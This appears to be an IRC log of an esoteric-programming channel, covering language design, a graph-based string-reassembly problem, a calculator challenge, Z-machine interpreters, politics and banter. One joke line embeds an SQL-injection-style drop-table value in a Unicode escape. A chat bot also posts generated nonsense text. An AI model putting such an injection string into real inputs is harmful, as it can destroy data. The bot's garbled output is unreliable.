22:56:35  fizzie: mr president, commissioner, i represent a country which, under provocation certainly, immediately takes up arms to enforce it. so, as representative of former chancellor vranitzky. he is as thick as two short planks. the eu is to be mastered successfully. here, we will progressively reduce these by taking the opinions of the committees, if it is to be introduced.
22:56:40  fizzie: fizziello. have you updated the fizziegraphs as of lately?
22:56:46  fizzie: You might say you /fungot/
22:56:46  hppavilion[1]: i would be interested to know the names of mrs lienemann and mrs roth-behrendt, and they never will. our aim is to have information and consultation of employees.
22:56:59 * boily mapoles hppavilion[1]
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22:57:12  I deserved that.
22:57:24  fungot: Their names are Lienemann and Roth-Behrendt HTH HAND
22:57:24  fizzie: mrs kla has highlighted a number of problems today, i now ask you to allow us to take on those tasks. however, this will cause some overlapping of funding, such as the ' prodi amendment' and the ' polluter pays' principle. generally, experience tends to prove us right.
22:57:33  boily: Have I told you about Getchl yet?
22:58:01  "the eu is to be mastered successfully."
22:59:08  hppavilion[1]: no, you didn't. what's a getchl?
22:59:30  sounds like an accurate reflection of the EU commission's attitude
22:59:45  boily: It's a shell that uses getch() as its only form of interaction. And not "in a way". I mean, like, every time a keystroke occurs commands are executed
22:59:50  It's an obfuscated shell
23:00:01  Otherwise, it's pretty normal, aside from being stacky
23:00:16  Classes just ended for the day, so I have to leave the room I'm currently in. Be back in a bit.
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23:06:30  moerjning
23:06:59  @messages-
23:06:59  edwardk said 10h 12m 4s ago: thanks for all your work on Data.Constraint.Forall!
23:07:05 * oerjan beams
23:07:22  morningt-e
23:07:48  oerjan: why don't you beam in #-lens hth
23:08:59  holy fungot. oerjan was rewardedwardk!
23:09:00  boily: mr president, i would like to end, mr president, commissioner, this is a start when it comes to its progressive social and environmental conditions. this in no way compromise the provisions of article 11 of protocol no 9 to give a progress report on the main guidelines for the 1999 budget as a whole, and i have two requests to the drug that morocco grows and markets and we are working with all the undesirable budgetary c
23:09:29  an excellent start to an end, there
23:09:30  ^style
23:09:30  Available: agora alice c64 ct darwin discworld enron europarl* ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
23:09:53  ^style jargon
23:09:53  Selected style: jargon (UNIX-HATERS mailing list archive)
23:10:04  int-e: when the end is nigh, fungot will save us with filibustering hth
23:10:04  oerjan: did you ever helped maintained its, and leaving another 50 or 60 droppings in my desk? i just had to share it with a funny os. anyone caught with unapproved key bindings will be: 16
23:10:29  oh, "UNIX-HATERS mailing list archive", not the jargon file
23:10:33  is that when you light a cigar with a piece of newspaper?
23:11:21  (I'm not sure which other word I'm conflating with the english one here)
23:11:36 * int-e deflates and goes to bed
23:12:20 -!- int-e has set topic: . o O ( hmm, flations ).
23:12:29  uhm, sorry, let me fix
23:12:49 -!- int-e has set topic: The right channel. | You has indestructible. | ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
23:14:52 -!- boily has set topic: The flating channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
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23:21:00  Do you expect you might use my DVI->PBM software (just guess for now as the program is not quite completed yet)? And if you have any other suggestion about features or any question, you can tell me that too; I hope to make improvement as much good as possible.
23:27:28  PBM?
23:27:37  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45252&oldid=45231 * -Dark-Phantom- * (+1042) Computational class
23:28:01  Bortable Pitmaps.
23:29:05  (You can use other programs such as ImageMagick to convert into other formats and do other effects, as well as programs such as foo2zjs to convert PBM into ZjStream format (used by some printers).)
23:30:09 -!- DarkPhantom has joined.
23:34:44  The man page for pktype says the author's name but the table of contents for the PKtype program itself only says that the preparation of this report is supported in part by the National Science Foundation (a version number and date are also included). Do you know why?
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23:55:46  about that problem
23:55:54  the one where you have a string
23:55:59  that's split and you have to glue it back
23:56:12  consider ababacaca
23:56:22  split it in pieces of 4 characters
23:56:33  the idea was to start from any piece
23:56:47  try to extend it as much as possible in both directions
23:56:56  then add the other pieces
23:57:17  but consider baba and abab
23:57:26  they can be glued in both directions
23:57:37  so i could end up with babab
23:57:57  and this is wrong
23:59:43  . o O ( babababababababab... )

2015-11-11:

00:01:13  boily: ello
00:03:03  chelloppro!
00:06:55 -!- ^v has joined.
00:07:01  [wiki] [[Stack]]  http://esolangs.org/w/index.php?diff=45253&oldid=44859 * Hppavilion1 * (+2933) Greatly improved page
00:07:08 -!- Wright has joined.
00:15:54  [wiki] [[Stack]] M http://esolangs.org/w/index.php?diff=45254&oldid=45253 * Hppavilion1 * (+10) Added link to Queue page
00:19:14  [wiki] [[Queue]]  http://esolangs.org/w/index.php?diff=45255&oldid=44858 * Hppavilion1 * (+1441) Moderately improved page
00:19:37  [wiki] [[Queue]]  http://esolangs.org/w/index.php?diff=45256&oldid=45255 * Hppavilion1 * (-2) Fixed header error
00:20:15  [wiki] [[Queue]]  http://esolangs.org/w/index.php?diff=45257&oldid=45256 * Hppavilion1 * (+0) Table error
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00:32:25  izabera: In oerjan's graph problem form, your example would have (among others) the nodes aba and bab, and the edges aba -> bab, bab -> aba, and it would be "obvious" the cycle goes aba -> bab -> aba -> ..., because there are no other out-edges from bab (unlike aba, which has the aba -> bac edge from the piece "abac").
00:33:04  [wiki] [[Deque]]  http://esolangs.org/w/index.php?diff=45258&oldid=44856 * Hppavilion1 * (+3702) Improved page, going to add more operations soon
00:33:34  [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45259&oldid=45258 * Hppavilion1 * (-2) Header error
00:35:45  [wiki] [[Deque]]  http://esolangs.org/w/index.php?diff=45260&oldid=45259 * Hppavilion1 * (+215) One new operation, fixed colspan on table headers
00:36:10  [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45261&oldid=45260 * Hppavilion1 * (-1) Typo
00:39:02  izabera: put differently, you cannot get bab as the first element in a new cycle because the first element should already be in the path you've already collected, and that cannot happen.
00:39:24  s/element/node/
00:39:52  (If coalescing nodes with a single in-edge and out-edge, the example graph would be nodes {aba, aca} and the labeled edges {aba -(ababa)-> aba, aba -(abaca)-> aca, aca -(acaca)-> aca}.)
00:40:15  helloily
00:40:59  quinthellopiaaaAAAAAAAAA!
00:41:25  or wait, i see what you mean, this is only at startup
00:42:06  yes, you could in fact get a cycle when you start that cannot be in the whole, if not careful.
00:43:01  izabera: the simplest fix is to detect the starting node by finding the unique node that has more outgoing than ingoing edges
00:43:15  and start building from there
00:43:52  what if more than one exist?
00:43:58  impossible
00:44:23  i mean
00:44:48  ok
00:44:50  all nodes except two have the same number of outgoing and ingoing edges
00:46:30  i don't think that's true
00:46:49  it must, if there's actually a unique path containing all edges exactly once
00:47:22  because any edge with more out than in can _only_ be at the start, and vice versa
00:47:55  i see
00:48:03  thanks for the heads up
00:48:58  no i don't follow >.<
00:49:58  why does it have to contain all the edges exactly once?
00:50:14  it must contains every vertex exactly once
00:50:27  the edges are the pieces given
00:50:40  ok
00:52:04  (of course two edges may have the same string, that's what repetition means)
00:52:45  . o O (...ababababababababab... )
00:52:51  i was thinking about the dual
00:52:52  hm oh, that's a bit contradictory
00:53:11  there isn't a unique path if you distinguish edges with the same string
00:53:29  because you could obviously switch their places
00:54:02  so there's actually a unique path of _nodes_, using each edge once
00:54:26  (but where nodes may be repeated)
01:00:28  hellørjan. do you read Dresden Codak?
01:00:28 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
01:00:39  nope
01:02:44  do you read?
01:08:18  occasionally.
01:08:38  less than i used to.
01:10:54  oerjan: oh, you left :'-lens #(
01:11:31  how can i stand a channel like that, unlogged?  that's madness.
01:11:48  just ignore what people say when you're not around
01:12:09  that's also madness hth
01:12:49  `? madness
01:12:50  madness lies thataway.
01:13:57  . o O (...bababababababab *ZGRNGNGN* abababababab...)
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01:20:11 <\oren\> the goppers are having a debate in 40 minutes
01:20:42  I don't know who will win, but I know I will lose.
01:22:03  \helloren\, pikhelloq.
01:22:07  `? gopper
01:22:08  gopper? ¯\(°​_o)/¯
01:22:29  fizzie: reading the logs, i am shocked to discover that the europarl style isn't proper utf8 tdnh
01:22:46  GOPper -- one who is a member of the Grand Old Party, the younger of the two major US political parties.
01:22:49  that explains a lot
01:23:12 <\oren\> gopper : a GOP person-dude
01:23:15  [wiki] [[$tonePits]]  http://esolangs.org/w/index.php?diff=45262&oldid=40544 * 71.94.244.146 * (-7) 
01:23:25  It's really humorous it has that name, really.
01:24:08  at least the democratic party is no longer the clearly least democratic
01:24:58  Well, it is the opposition to the Federalist party...
01:25:04  pikhq: are you running for president twh
01:25:11  Priority Deque is best data structure.
01:25:14  shachaf: No.
01:25:26  I am not of age to be President, unfortunately.
01:26:08  right, our Southern Neighbours still have to elect a President.
01:26:18  yep
01:26:21  hppavilion[1]: hm if you want to pick out extremes at both sides.  but what if you want the middle option (i'm imagining the Priority Deque used in politics, here)
01:26:30  pikhq: maybe we could get an amendment in by next year
01:26:33  ours is doing well, if I may say so.
01:26:43  boily: our head of state or head of government?
01:26:50  What operations does a Queue have in addition to ENQUEUE, DEQUEUE, and ROLL?
01:26:54  I think you'd have a better shot at letting non-native Americans take the job.
01:26:56  I suppose there are two types of DUP
01:27:39  I mean, at one point there was enough people who would support Schwarzenegger as President.
01:27:43  pikhq: lol the 27th amendment
01:27:57  [wiki] [[Queue]]  http://esolangs.org/w/index.php?diff=45263&oldid=45257 * Hppavilion1 * (+231) One new operation
01:28:09  hppavilion[1]: SIT and FETCH hth
01:28:11  Oh, that one? Hah.
01:29:32  coppro: head of gov.
01:31:41  [wiki] [[Special:Log/delete]] delete  * Oerjan *  deleted "[[Yamini]]": Spam: content was: "Yamini, the hand model. The intelligent, the idiot, and the one that annoys the crap out of everyone. The world ended on October 16th,2000. Her name is pronounced YEA..." (and the only contributor was "[[Special:Contributions/B0811|B0811]]")
01:33:10  boily: yeah, he's doing pretty great
01:35:14  DISTUPGRAAAAAAAAAAAAAADE!!! ♪
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01:35:54  You people with your ineffectual heads of state.
01:36:08  our head of state is far from ineffectual
01:36:13  actually that was probably more gibberish than spam.  how long should i block for?
01:36:15  she just doesn't have much to do
01:36:29  she's very good at doing it
01:36:45  Let's go with "powerless".
01:36:50  (there was a phone number at the end, but i hesitate to call what preceded it an advertisement)
01:36:57  Man, this language I'm creating is *so* going to be the next SQL.
01:37:09  Look at this: "points where x > 3 each set x := 3"
01:37:23  That's obviously far superior to "update points set x = 3 where x > 3".
01:37:30  i can only conclude none of you have a clue.  where _is_ ais523...
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01:37:52  Britain HTH
01:38:07  well that is plausible, although not proven
01:38:29  Also, fuck this jet lag so much
01:38:33  Okay, that's sort of an unconvincing example.
01:39:19  Want to delete everyone who owns a house? "houses.owner.delete"
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01:39:41  My brain is basically on UTC+1 while my reality is on UTC-8.
01:39:44  Compare the SQL equivalent:
01:40:09  "delete from people where id in (select owner_id from houses)"
01:40:40  I'm taking advantage of two things that SQL doesn't.
01:40:53  In many cases, you can treat the act of deletion as if it were just a column.
01:41:34  "select (delete this row from the "people" table) from people, houses where people.id = houses.owner_id"
01:42:02  And second, having a foreign key column that's just an integer, and then doing a join with another table whenever you want to look up the values associated with that foreign key, is stupid.
01:42:29  [wiki] [[Special:Log/block]] block  * Oerjan *  blocked [[User:B0811]] with an expiry time of 1 week (account creation disabled): Intimidating behavior/harassment
01:42:37  Here's how SQL gets all people who own houses: "select people.id from people, houses where people.id = houses.owner_id"
01:42:40 * oerjan makes a random decision
01:43:09  You really ought to just be able to take a row in the "houses" table and perform an indexing operation on it to get the corresponding row in the "people" table.
01:43:26  Hence, my equivalent of "select people.id from people, houses where people.id = houses.owner_id" is "houses.owner".
01:43:43  quintopia: hth
01:43:53  I'm amazing, hth.
01:45:30  Here's the spec I'm working on for Getchl: https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing
01:45:31  Feel free to suggest.
01:46:40  It's a weird tangled mess. Hard to understand fully. Definitely eso.
01:47:32  (Before someone comments "But x language is a weird tangled mess that's hard to understand fully, and /it/ isn't eso" I would like to say that yes, langauge x /is/, as a matter of fact, eso, it just also happens to be in circulation making it not /seem/ eso)
01:49:04  `unidecode �
01:49:06  ​[U+FFFD REPLACEMENT CHARACTER]
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01:51:43  [wiki] [[Stack]] M http://esolangs.org/w/index.php?diff=45264&oldid=45254 * Hppavilion1 * (+4) Fixed See Also section
01:52:11  hppavilion[1]: how can you be editing the wiki when i cannot load it
01:52:23  oerjan: No idea. It's going slow though.
01:52:46  oerjan: Is there only one server, or are there a few worldwide?
01:52:58  only one
01:53:00  (e.g. if it were run by a hosting company_
01:53:05  well
01:53:06  s/_/)/
01:53:19  Well it doesn't seem to be sending the edit through, really
01:53:20  it's on the same server as HackEgo 
01:53:30  Weird
01:53:38  So it isn't the server itself, most likely
01:53:54  Then again, I guess HackEgo was taking less computational power than the wiki
01:54:09  the same thing happened to me when i did the block, HackEgo announced it but the page never loaded.  oh there it did.
01:55:05  Weird
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01:56:32  fizzie: oh it's worse than that, fungot's europarl style actually spits out utf8 replacement chars
01:56:32  oerjan: " poweropen" sounds like you're an alien in a non-distributed operating system deserves better. except in very rare instances, you
01:57:24  I just counted, and Getchl practically has 103 commands. It uses only the printable ascii characters, and each command is one character. Think about that.
01:57:41  (Not all the letter commands do anything yet though)
01:58:21  (also, nothing is assigned to |, and ~ is subject to change because its current meaning is stupid)
01:58:37  Add control character too then if you would need such a things.
01:59:22  zzo38: I don't need new characters; I have plenty
02:00:00  You can technically execute a control character though by pushing its value on the stack then calling ` (the Apply/Eval command)
02:00:08  But it will most likely just fail
02:01:19 * hppavilion[1] totally isn't trying to get people to click that link so that he can get feedback
02:01:36  Nope, no need for others' comments on my work here. xD.
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03:06:53  whoa whoa whoa
03:06:57  remember Emil?
03:07:03  https://en.wikipedia.org/wiki/Emil_i_L%C3%B6nneberga
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03:09:10 <\oren\> The IRS, the Department of Commercs, the department of Energy, the department of Commerce, and the HUD.
03:13:50  Yep.
03:14:03  The Department of Commerce does not-much, and what it does is important.
03:14:16  It has a budget of $60 billion.
03:14:32  But it's got one of the few things the government is obligated to do: the census.
03:14:40  Also, the NOAA and the patent office.
03:16:35  shachaf: of course i remember emil, what about him
03:16:43  nothing
03:16:47  just remembered emil
03:16:48  [wiki] [[User:Nikoraito]] N http://esolangs.org/w/index.php?oldid=45265 * 173.169.59.42 * (+170) Created page with "Nikoraito is a pretty alright guy. He's working on 3var-x, a reverse-compatible dialect of 3var with a number of useful additional features including file io and a shell."
03:16:56  wasn't there a thing where he got a thing stuck on his head?
03:18:54  yes
03:19:02  a soup bowl, iirc
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03:19:18 <\oren\> we might want to point out to 
03:19:32 <\oren\> Trump that China isn't in the TPP
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03:20:15  oerjan: was there a thing with a mousetrap under the table?
03:20:20  or am i mixing up different things now
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03:20:47  well i don't remember all of the stories
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03:21:28  whoa whoa whoa
03:21:30  remember Emil?
03:21:38  https://en.wikipedia.org/wiki/Emil_and_the_Detectives
03:22:11  no, i had never heard of that author until some german in this channel mentioned him
03:22:18  wait, really?
03:22:24  really
03:22:29  i thought this latter emil was much more famous
03:22:39  not in norway, for sure
03:22:45  well not when i grew up
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03:55:43  [wiki] [[Roadrunner]]  http://esolangs.org/w/index.php?diff=45266&oldid=44162 * Oerjan * (-16) too many links, and section case
04:12:42  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45267&oldid=45193 * Oerjan * (-92) sp, wikify
04:20:09  [wiki] [[Stare/1.0]]  http://esolangs.org/w/index.php?diff=45268&oldid=44278 * Oerjan * (+6) links, grm
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04:37:19  [wiki] [[Symball]]  http://esolangs.org/w/index.php?diff=45269&oldid=44217 * Oerjan * (+39) wikify
04:42:18  [wiki] [[Special:Log/delete]] delete  * Oerjan *  deleted "[[Capricorn]]": Stub with no context and nothing to find with Google (OK, I'm not sure about the Japanese hits)
04:50:42  [wiki] [[DeafPig]]  http://esolangs.org/w/index.php?diff=45270&oldid=44208 * Oerjan * (+51) wikify
04:54:39  [wiki] [[Special:Log/move]] move  * Oerjan *  moved [[Object-oriented]] to [[Object-oriented paradigm]]: As suggested on talk page
04:54:39  [wiki] [[Special:Log/move]] move  * Oerjan *  moved [[Talk:Object-oriented]] to [[Talk:Object-oriented paradigm]]: As suggested on talk page
04:56:57  damn wiki locked up again
04:58:25  [wiki] [[Category:Object-oriented paradigm]] M http://esolangs.org/w/index.php?diff=45275&oldid=7967 * Oerjan * (+0) expand link
04:59:12  [wiki] [[Talk:Object-oriented paradigm]]  http://esolangs.org/w/index.php?diff=45276&oldid=45273 * Oerjan * (+90) Done
05:03:00  [wiki] [[Pig]]  http://esolangs.org/w/index.php?diff=45277&oldid=41982 * Oerjan * (+60) wikify
05:05:26  [wiki] [[Pig]] M http://esolangs.org/w/index.php?diff=45278&oldid=45277 * Oerjan * (-1) /* The Pig series */ order
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05:27:14  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45279&oldid=45252 * -Dark-Phantom- * (+95) /* Examples */
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06:00:10  @messages-loud
06:00:10  You don't have any messages
06:04:39  [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45280&oldid=45261 * Hppavilion1 * (-243) /* Additional Operations */ Removed duplicate operation
06:06:17  OVER = SAVE POP RIGHT SAVE POP PUSH LEFT PUSH RIGHT PUSH RETRIEVE LEFT RETRIEVE
06:06:23  I'm proud of that. Need to test it though
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06:07:11  It works
06:07:20  Though the accumulators may be broken
06:07:22  Let me check
06:07:33  Nope. It works.
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12:13:02  @massages-loud
12:13:02  You don't have any messages
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13:08:39  http://arin.ga/1fGHbJ/raw  this is a prefix calculator for this challenge https://www.codeeval.com/open_challenges/7/
13:08:48  but something stupid must be wrong
13:08:56  it scores 60%
13:09:07  help me find a test case that fails  :|
13:18:54  Let's see
13:20:54  izabera: maybe you're doing the division backwards? the spec doesn't really say
13:21:13  izabera: * * 3 4 - 10 5
13:21:16  That input doesn't work
13:22:39  oh thanks
13:23:21  izabera: maybe try + 0 0 or + 0 10 in case the gcd routine gets confused by zeros
13:23:38  izabera: also + 10 0
13:24:45  that seems to work?
13:27:01  oh wait
13:27:06  - is not supposed to be supported
13:27:16  it only has + * /
13:27:33  i forgot i didn't implement - on purpose
13:30:28  Oh
13:30:34  Woops
13:31:03  * * 3 4 / 10 5   seems to produce the expected result
13:31:41  it produces 24
13:32:02  that's correct?
13:32:06  24 is correct
13:32:29  Aha
13:32:30  I got it
13:32:36  * 2 / 1 2
13:33:07  it produces 1 which is correct?
13:33:21  No, you'd expect 0
13:33:33  o.o
13:33:56  1 2   produces 0
13:34:03  / 1 2   I mean
13:34:27  But you're only rounding your rational down at the end, rather than after every division
13:35:05  I'm not actually sure why you're using rationals
13:35:13  "The evaluation result will always be an integer ≥ 0."
13:35:55  i'm using rationals because this should be 10:   + / 10 3 + / 10 3 / 10 3
13:36:03  i think
13:36:27  That challenge is expecting you to use integer division
13:36:39  So it'd expect that to produce 9
13:37:38  That challenge, like so many of them, doesn't seem to specify very well what it's expecting.
13:38:13  Yeah, it could be specified better
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13:42:55  so   * 2 / 1 2    is either 0 or 2
13:43:22  this looks dumb
13:49:59  That's because you're using rationals internally while this challenge expected you to use integers
13:50:51  It probably also expects division to round towards 0
14:04:31  [wiki] [[Imapl]] N http://esolangs.org/w/index.php?oldid=45281 * 179.105.145.107 * (+3921) Creating a programming language doc
14:06:03  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45282&oldid=45281 * 179.105.145.107 * (+2) /* Constants */
14:07:00  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45283&oldid=45282 * 179.105.145.107 * (+7) /* Operators (Ordered by precedence): */
14:07:50  why is the logo 3 lemons slices?  (did i ask this already?)
14:08:02  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45284&oldid=45283 * 179.105.145.107 * (+7) /* Execution: */
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14:09:26  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45285&oldid=45284 * 179.105.145.107 * (+1) /* Constants */
14:09:49  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45286&oldid=45285 * 179.105.145.107 * (-93) /* Operators (Ordered by precedence): */
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14:29:16  [wiki] [[User:Lemon enthusiast]]  http://esolangs.org/w/index.php?diff=45287&oldid=44988 * Lemon enthusiast * (-6) 
14:30:34  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45288&oldid=45286 * Lemon enthusiast * (+26) 
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14:41:40  [wiki] [[User:Lemon enthusiast]]  http://esolangs.org/w/index.php?diff=45289&oldid=45287 * Lemon enthusiast * (+218) 
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16:00:36  hmm, does anyone know of any esolang interpreters written in Z-Machine bytecode or Glulx?
16:00:37 -!- andrew__ has joined.
16:04:38  I mean there must be some
16:05:32  rule (TBA): If it exists, there is a brainfuck interpreter for it
16:06:02  let's make a brainfuck interpreter for the Z-machine
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16:07:06  I'm down
16:09:24  I'm up
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16:27:48  [wiki] [[Talk:Imapl]] N http://esolangs.org/w/index.php?oldid=45290 * SuperJedi224 * (+139) Created page with "Why exactly would Imapl be uncomputable? ~~~~"
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16:48:09   why is the logo 3 lemons slices?  (did i ask this already?) <-- they're not, they're limes.  and i think they were a pretty random choice by graue, the original wiki maintainer.  i once made a sub-lime pun but someone else then ran it so into the ground that even i got sick of it.
16:48:59  hmm, that's pretty into the ground
16:49:07  yep
16:50:18  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45291&oldid=45288 * Lemon enthusiast * (-86) 
16:50:32  that was more cryptic than most eso langs
16:51:15  oerjan, I think the reasons of why the logo is 3 lime slices seems to be only known within an enlightened circle
16:51:24  I guess you could say that they're... esoteric
16:51:46  OKAY
16:52:04  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45292&oldid=45291 * Lemon enthusiast * (-95) /* Etymology */
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17:21:13  [wiki] [[User:Lemon enthusiast]]  http://esolangs.org/w/index.php?diff=45293&oldid=45289 * Lemon enthusiast * (+258) 
17:24:50  Phantom_Hoover, would you say the limes are esoteric twh
17:25:44  what does twh stand for
17:26:43  "That would help" hth
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18:04:53  I know about Z-machine programming, I have written an interpreter too
18:08:46  zzo38: heh
18:09:14  I find it a weird thing, it's not quite generic, but I might be able to put a LLVM backend together for it
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18:39:10  ooh will we have a christmas bitcoin bubble?
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18:51:19  maybe it'll burst december 31st... that would be fun.
18:58:14  In case you would need my Zork Machine Interpreter/Debugger, it is:  http://zzo38computer.org/zmachine/interp/zorkmid.zip
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19:10:42  Do you know some of the Z-machine programming techniques such as Black-Johansen algorithm and SET->BCOM optimization?
19:16:16  !coins
19:16:25  `coins
19:16:33  what is the command again
19:16:35  ​slocoin beatercoin oilcoin palagufcoin cholomscoin unwecoin contropitcoin velcoin tedcoin ethuttocoin enullcoin brentecoin frcmoecoin hackfllcycoin grucoin smihcoin argacoin iuscoin painstuencoin bfercoin
19:16:41  oh
19:17:05  we'll have a christmas painsteuncoin bubble
19:44:28  Today is the first time I've heard about Unicode named character escapes, such as \N{GREEK SMALL LETTER FINAL SIGMA}
19:51:43  \N{';DROP TABLE Unicode;--}
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20:10:11  Ugh
20:10:13  ⊆ is a pain
20:10:27  Monospace is too thin, doublewidth is too wide
20:10:35  `unidecode  ⊆ 
20:10:36  ​[U+0020 SPACE] [U+2286 SUBSET OF OR EQUAL TO] [U+0020 SPACE]
20:11:23 -!- Patashu has joined.
20:11:51  I'm sticking with the doublewidth.
20:12:02  Or maybe I should start on a nonmonospace font
20:12:10  I think I'll do that
20:12:33  I can't figure out whether the linguists meet once every 8 or once ever 18 months...
20:12:40  Should I call it "Nonospace"?
20:13:21  FreeFull: in what context do they appear? PCRE?
20:14:26  FireFly: I think just as escapes in a string
20:14:55  hppavilion[1]: How is ⊆ too thin with monospace?
20:15:16  Well, then, in what programming language?
20:15:32  perl?
20:16:02  Oh, okay
20:17:20  Python 3 too, although it doesn't support all of them
20:17:39  FreeFull: Well the monospace width is 14.
20:17:53  I suppose I could make it thinner vertically
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20:44:34  int-e: http://www.explainxkcd.com/
20:44:45  (Explain xkcd: It's 'cause you're dumb.)
20:45:53  I don't think I needed that explanation.
20:45:56  :-P
20:50:53 -!- evalj has joined.
20:52:14  ciao
20:52:16  !list
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21:18:28  [wiki] [[Getchl]] N http://esolangs.org/w/index.php?oldid=45294 * Hppavilion1 * (+559) Created Page
21:22:49  What should ~ and | do in Getchl? Currently ~ pops two values and pushes a random integer between them, but I don't like that
21:27:35  It's swap in underload, but maybe you already have that.
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21:48:19  [wiki] [[DStack]] M http://esolangs.org/w/index.php?diff=45295&oldid=45279 * -Dark-Phantom- * (+27) /* Syntax */
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22:02:41  Almost finished with my Major so this Programming hobby will be going away 
22:02:56  aww
22:03:06  Kinda makes me sad But I chose the medical field can't turn back now
22:03:50  Medical Science is a stranger field Than programming I guess And the market for programming is over saturated as I've seen
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22:23:20 -!- Welo has quit (Quit: Leaving).
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22:55:22  @massages-loud
22:55:22  You don't have any messages
22:55:49  bomidnily
22:57:51  bonsœrjain.
22:59:06  abooily
23:00:10  bolsnoir.
23:00:57   maybe it'll burst december 31st... that would be fun. <-- that looked pretty bursting right now.
23:03:52  fungot: do you burst?
23:03:52  boily: i am on this
23:04:09 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
23:04:17 * boily pats the 'got. “Good got”
23:05:15  fungot: got fun?
23:05:15  olsner: lpr creates a printer or sitting around ready to lose sight of the conspiracy are pushing motif, posix, osi, next step in subroutine a just after that, but
23:09:22  what is this stupid trend with GUIs with incomprehensible icons without tooltips
23:09:41 * oerjan doesn't like to click icons that he has no idea what do
23:11:10  oh well, at least it showed a url
23:16:43  . o O ( What's the wors that could happen? *runs* )
23:17:05  worst.
23:19:11 * olsner . o O ( Clicking the circle icon formats the hard drive. How is that not obvious? )
23:21:49  GUIs are evil. they Hide the True Meaning of Words.
23:22:22 * oerjan likes GUIs, otherwise :(
23:23:58  it's been four days since andrás kovács tempted me to get a github account, and i've already contributed to constraints, and am in this moment considering submitting a documentation change to ghc
23:24:13  repent your ways! Save Yourself! (unless the interface is made of nifty pixel art. I'm a sucker for small icons with bright colours.)
23:24:21  (yes, i know you're not supposed to send it to ghc@github
23:24:22  )
23:24:51  you really ought to githubaccountify. I could coconspirator you to the Wisdom repository :D
23:25:18  boily: um, the temptation was successful hth
23:26:01  which is why i'm currently setting phabricator preferences
23:26:13  (that's the site without tooltips)
23:26:27  what a twist!
23:26:35 -!- hppavilion[1] has quit (Ping timeout: 276 seconds).
23:26:36  by the way, what's your username?
23:26:40  oerjan
23:26:59  that's the nice thing with having a weirdly spelled nick, it's almost always free
23:27:51  oerjan: I'm not sure I can support a site that has a "conpherence" function for chatting.
23:27:51  (technically it was registered when i came to freenode, but luckily it was beyond ask-for-takeover threshold)
23:28:08  fizzie: well it's ph all the way, surely
23:28:27  "Diffusion" seems to not be a "diphphusion".
23:28:40  oh and this is phabricator.haskell.org, in case there's any ambiguity
23:28:40  I'm going by the screenshot on the front page.
23:29:21  (My nickname is almost always taken. *sad*)
23:29:31  oerjan: you are hereby collaboratified.
23:30:16  On github, "fizzie" seems to be someone who does absolutely nothing publicly visible with the account.
23:30:22  Perhaps it's all private repos for them.
23:30:35  boily: is this the right time to admit i've never opened wisdom.pdf?
23:30:51 * oerjan feels evil
23:31:37  you're either wisdom or you're againstdom, oerjan
23:32:18  fizzie: i think dipphusion would be more intuitive
23:32:47  oerjan: you are evil. of course you never opened it.
23:33:00  i knew you'd understand 
23:33:33  That reminds me of some dialog systems in some games.
23:33:45  They have tags like "[Lie] X" for conversation options.
23:34:23  I remember at least one that had "X" and "[Lie] X" for the same X, and X was not something the game system could possibly observe, because it was about your motivations.
23:35:01  It was somewhat confusing, because you could lie about lying by selecting the untagged "X" 
23:37:31  this feels very topological. you can lie, or not lie, about something unobservable.
23:40:34  But then possibly you might not know your motivation quite yet though?
23:42:44  polymorphic motivation.
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23:51:17  Why does the number 8388608 feel so... unspecial?
23:51:30  I don't know?
23:51:42  It's 2^23, the point at which the next 32-bit floating point number above it is +1
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2015-11-12:

00:00:57 -!- APic has joined.
00:00:59  On the other hand, 16777216 feels very special. Maybe just because it's more things.
00:01:33  it's the number of colors many devices are marketed to support
00:02:10 -!- mihow has quit (Quit: mihow).
00:02:18  What about 1073741824?
00:02:48  I'd guess it's 2^30 but I don't really recognize it.
00:02:49  If you take out the middle six digits, you get 1024
00:02:54  It is 2^30
00:03:26  (I see it's about 10^9 and starts with approximately 1072, so that's plausible.)
00:03:58  > 2^31
00:04:00   2147483648
00:05:13 -!- mihow has joined.
00:05:45  ^pow2
00:05:45  1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864 134217728 268435456 536870912 1073741824 2147483648 42949672 ...
00:06:56  int-e: When it's not called just "millions of colors".
00:08:04 -!- ais523 has joined.
00:17:50  ais523!
00:18:17  ais523: long time no see
00:18:50  oerjan: I've been ill
00:19:04  did anything come up that I need to deal with?
00:21:37  sounds nasty
00:21:55  for two weeks, i mean
00:22:47  well there was a weird spammer who didn't really spam a link, so i wanted to ask you how long to ban them
00:23:03  (i think i chose a week just to be weird)
00:23:12  also, you're Agora Speaker hth
00:24:10  Oh hai.
00:24:49  i don't recall anything else you were too needed for
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00:26:30 -!- aretecode has quit (Quit: Toodaloo).
00:38:11 -!- hppavilion[1] has joined.
00:43:30  pikhelloq, hppavellon[1].
